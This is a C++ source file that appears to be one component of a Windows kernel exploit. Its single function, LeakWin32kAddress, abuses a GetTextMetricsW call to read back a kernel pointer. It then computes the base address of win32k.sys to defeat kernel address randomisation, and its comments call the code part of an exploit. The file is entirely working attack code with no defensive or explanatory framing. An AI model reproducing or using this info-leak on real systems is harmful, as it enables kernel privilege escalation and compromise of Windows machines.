#include <Windows.h>
#include "Win32kLeaker.h"
#include <intrin.h>

extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD);
static const int InfoLeakBuffer = 0x40000000;

// Don't make a const so the compiler stores it on .data
static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00;

// Leak the base address of `win32k.sys`. This infoleak is slightly different from
// the standalone infoleak because we need to handle the position-independent nature
// of this exploit.
ULONGLONG LeakWin32kAddress() {
	ULONGLONG win32kBaseAddr = 0;
	HDC hdc = NULL;
	DWORD hi = 0;
	DWORD lo = 0;

	VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	hdc = CreateCompatibleDC(NULL);
	if (hdc == NULL) {
		return NULL;
	}

	// Leak the address and retrieve it from `buffer`.
	MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44);

	hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4);  // High DWORD of leaked address
	lo = *(DWORD *)(InfoLeakBuffer + 0x38);      // Low DWORD of leaked address

	// Check: High DWORD should be a kernel-mode address (i.e.
	// 0xffff0800`00000000). We make the check stricter by checking for a
	// subset of kernel-mode addresses.
	if ((hi & 0xfffff000) != 0xfffff000) {
		return NULL;
	}

	// Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
	// the following computation.
	win32kBaseAddr = ((ULONGLONG)hi << 32) | lo;

	// Adjust for offset to get base address of `win32k.sys`.
	win32kBaseAddr = win32kBaseAddr - InfoLeakOffset;

	// Check: Base address of `win32k.sys` should be of the form
	// 0xFFFFFxxx`00xxx000.
	if ((win32kBaseAddr & 0xff000fff) != 0) {
		return NULL;
	}

	DeleteDC(hdc);
	return win32kBaseAddr;
}